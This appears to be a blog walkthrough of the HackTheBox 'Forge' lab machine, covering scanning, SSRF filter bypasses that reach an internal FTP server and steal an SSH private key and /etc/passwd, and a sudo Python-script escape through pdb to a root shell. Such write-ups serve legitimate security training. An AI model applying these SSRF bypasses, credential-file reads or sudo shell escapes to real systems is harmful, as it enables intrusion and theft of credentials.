forge info card

Forge Writeup / Walkthrough Hack the box


This is a walkthrough writeup on Forge which is a Linux box categorized as medium on HackTheBox. The initial foothold was gained by discovering and exploiting SSRF (Server-Side Request Forgery) in a file upload functionality to access an internal sub-domain which revealed the FTP credentials using which we were able to read the SSH private key by FTPing via the SSRF endpoint . Meanwhile, the privilege escalation part was done by exploiting the SUDO permissions we had for a python script. This box primarily focused on the SSRF filter bypassing techniques.

Forge Writeup: Scanning Network

Running the usual Nmap port scan :

Command used -->  nmap -A -sC -sV -v -Pn -n -oN nmap.initial
Nmap scan report for
Host is up (0.26s latency).
Not shown: 997 closed tcp ports (reset)

21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://forge.htb
No exact OS matches for host (If you know what OS is running on it, see ).

We have 3 ports to work with :

port 21 : FTP (which is labelled as filtered meaning that it is either blocked or internal only)
port 22 : SSH
port 80 : Apache web-server

Forge Writeup: Web Enumeration

Checking out the hosted website in browser :

Forge Writeup

On browsing the target IP we were redirected to forge.htb which indicates that the target is using Virtual Host Routing, thus let’s add the required entry in the /etc/hosts file :	forge.htb

Browsing forge.htb :

Forge Writeup

Wappalyzer tells us that the server is running PHP.

Forge Writeup
wappalyzer info

There’s a hyperlink to /upload directory at the top right of the page. On the /upload we have two ways to upload an image :

i) Upload a Local File

ii) Upload from URL

Forge Writeup
upload local file
upload from URL

Running a Dirbuster Scan

Found nothing interesting here :

Forge Writeup
dirbuster scan

Sub-Domain Enumeration

  • I will be using wfuzz for sub-domain enumeration because it offers virtual host sub-domain enumeration:
└─# wfuzz -H "Host: FUZZ.forge.htb" --sc 200 -c -w /usr/share/wordlists/secLists/subdomains-top1million-5000.txt $IP

 /usr/lib/python3/dist-packages/wfuzz/ UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
* Wfuzz 3.1.0 - The Web Fuzzer                         *

Target: <>
Total requests: 4989

ID           Response   Lines    Word       Chars       Payload                                                                                                                    

000000024:   200        1 L      4 W        27 Ch       "admin"

Total time: 148.1117
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 33.68402

We found one sub-domain :


Let’s try to access it :



I did try different bypasses like using X-Forwarded-For HTTP header, but nothing seemed to work.

😖 Let’s come back to this later.

Uploading Reverse Shell [Failed to execute]

Wappalyzer informed that the server is running PHP therefore we tried to upload a php reverse shell :

Forge Writeup
uploading a PHP reverse shell local file
  • The shell was uploaded in the /uploads directory with a random name.
  • We tried accessing the file, but the PHP reverse shell file isn’t being executed & thus we were not able to get a reverse shell.
uploaded reverse shell file

Exploiting SSRF in “Upload from URL” functionality

Next we tried the obvious attack on the Upload from URL functionality which is “Server Side Request Forgery”. Read more about it here.

  • When we try to access , the message reveals that a “blacklsist” filter is being used to block malicious input in order to prevent SSRF attacks.
blacklist filter

Trying to bypass this filter by using various workarounds, we were able bypass this filter using the payload :


127.1 also resolves to "localhost"

for your information, there are multiple ways to denote "localhost",
one of which is "127.1" 😉
Exploiting SSRF

Next, we tried to access some sensitive files on the server using the file protocol :

file protocol is blocked

Ahh, sadly it seems like only http & https protocols are allowed.

Trying to access admin.forge.htb

  • The homepage on this sub-domain says : “Only localhost is allowed!

Now, we know that we have an SSRF vulnerable endpoint, let’s try accessing this sub-domain from there because then the request for accessing admin.forge.htb will be going from the localhost 😈

Trying to access http://forge.htb first in order to figure out the filter bypass :

Forge Writeup

Bypassing the blacklist filter by capitalizing the letters : http://FORGE.htb

Forge Writeup
Bypassing the filter

Hmm, we can’t see the contents of the page, so let’s intercept this with Burp.

Forge Writeup
Intercepting request in Burp

Ahaaa, as you can see the header “Content-Type: image/jpg”. Thats the reason our browser is throwing an error.

Thus, viewing the response (which contains HTML webage source code) in Burp we can verify that we have a successfully bypassed the filter.

Now, coming to the main part, let’s try accessing the admin.forge.htb sub-doamin using a similar technique to bypass the filter.

Bypassing the blacklist filter using capitalized letters ->

payload : http://admin.FORGE.htb

Again intercepting the request & response in Burp, we can see that we have successfully accessed the admin.forge.htb sub-domain –

Forge Writeup
response for admin.forge.htb
  • You could also intercept the response in Burp and change the Content-Type header to the following in the intercepted response and view the webpage in browser as well :
Content-Type: text/html; charset=utf-8
Forge Writeup

We can spot two hyperlinks on the admin.forge.htb page :


Let’s visit them too (using the SSRF endpoint ofc) :

Forge Writeup
→ An internal ftp server has been setup with credentials as user:heightofsecurity123! 
→ The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.
→ The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.

We have the FTP credentials 🙂

And the upload functionality on the admin.forge.htb/upload supports ftp protocol.

Connecting to FTP (via SSRF endpoint)

I googled to find about “how to FTP via URL” :

How to use FTP from a browser? (


Going ahead and connecting to FTP using URL in the SSRF endpoint, we get the following response :

Format for FTP protocol via URL -->  ftp://username:[email protected]

http://admin.FORGE.HTB/upload?u=ftp://user:[email protected]

This seems to be the home directory of a user on the box because we can see user.txt listed in here.

Listing the users in /etc/passwd we saw that there exists only one user other than root which is user web

http://admin.FORGE.HTB/upload?u=ftp://user:[email protected]/etc/passwd

Fetching the SSH key id_rsa via FTP

We got the SSH private key via FTP for user web :

http://admin.FORGE.HTB/upload?u=ftp://user:[email protected]/.ssh/id_rsa
SSH id_rsa for user web

Forge Writeup: User Flag ⛳

Using the obtained SSH key to connect via SSH to user user on the box :

└─# ssh -i user_id.rsa [email protected]$IP
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  <>
 * Management:     <>
 * Support:        <>

  System information as of Thu 20 Nov 2021 08:01:10 AM UTC

  System load:  0.0               Processes:             224
  Usage of /:   44.0% of 6.82GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to <>. Check your Internet connection or proxy settings

Last login: Wed Nov 19 17:26:02 2021 from

[email protected]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)

[email protected]:~$ cat user.txt 

Forge Writeup: Privilege Escalation

Checking the sudo permissions for user web :

[email protected]:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/

[email protected]:/opt$ ls -l
total 4
-rwxr-xr-x 1 root root 1447 May 31  2021

Content of

[email protected]:/opt$ cat       
#!/usr/bin/env python3
import socket           
import random                                                                                                                                                                               
import subprocess                                                                             
import pdb       
port = random.randint(1025, 65535)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', port))
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\\n')
        clientsock.send(b'Welcome admin!\\n')
        while True:
            clientsock.send(b'\\nWhat do you wanna do: \\n')
            clientsock.send(b'[1] View processes\\n')
            clientsock.send(b'[2] View free memory\\n')
            clientsock.send(b'[3] View listening sockets\\n')
            clientsock.send(b'[4] Quit\\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
except Exception as e:

This is a simple script which :

  • Selects a random port & listens on that port on localhost (
  • When we connect to this port on “localhost” we are asked for a password (which can be seen the contents of the file → secretadminpassword)
  • After entering the correct password, we are given 4 choices.
  • We can give the number corresponding to the choice of the option we want to choose.
[email protected]:~$ nc 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit
  • Depending on the choice the user makes, a corresponding command is run and its output is sent back to the connected user.
  • And in case there is any kind of error, the script has an except which launches the pdb (python debugger) for the error encountered.


We tested this program for an invalid input which raises an error and in turn launches pdb (Python Debugger) on the host.

Giving an invalid input to the program :

[email protected]:~$ nc 14801

Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit


pdb prompt is launched on the host on receiving the invalid input :

[email protected]:/opt$ sudo /usr/bin/python3 /opt/
Listening on localhost:14801

invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/<module>()
-> option = int(clientsock.recv(1024).strip())

Searching the web about how to privesc using pdb we found this on GTFO bins :

So, turns out that we can simply run python commands inside the pdb prompt 😄

Forge Writeup: Root Flag ⛳

Let’s spawn a root shell from inside the pdb prompt !

[email protected]:/opt$ sudo /usr/bin/python3 /opt/
Listening on localhost:14801
invalid literal for int() with base 10: b'iNeedaGirlfriend<3'
> /opt/<module>()
-> option = int(clientsock.recv(1024).strip())

(Pdb) import os;
(Pdb) os.system('/bin/sh');

# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt

Yayy ! Congrats on rooting Forge 🎉🥳

Do checkout other interesting writeups & walkthroughs on

Posts created 10

Leave a Reply

Your email address will not be published.

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top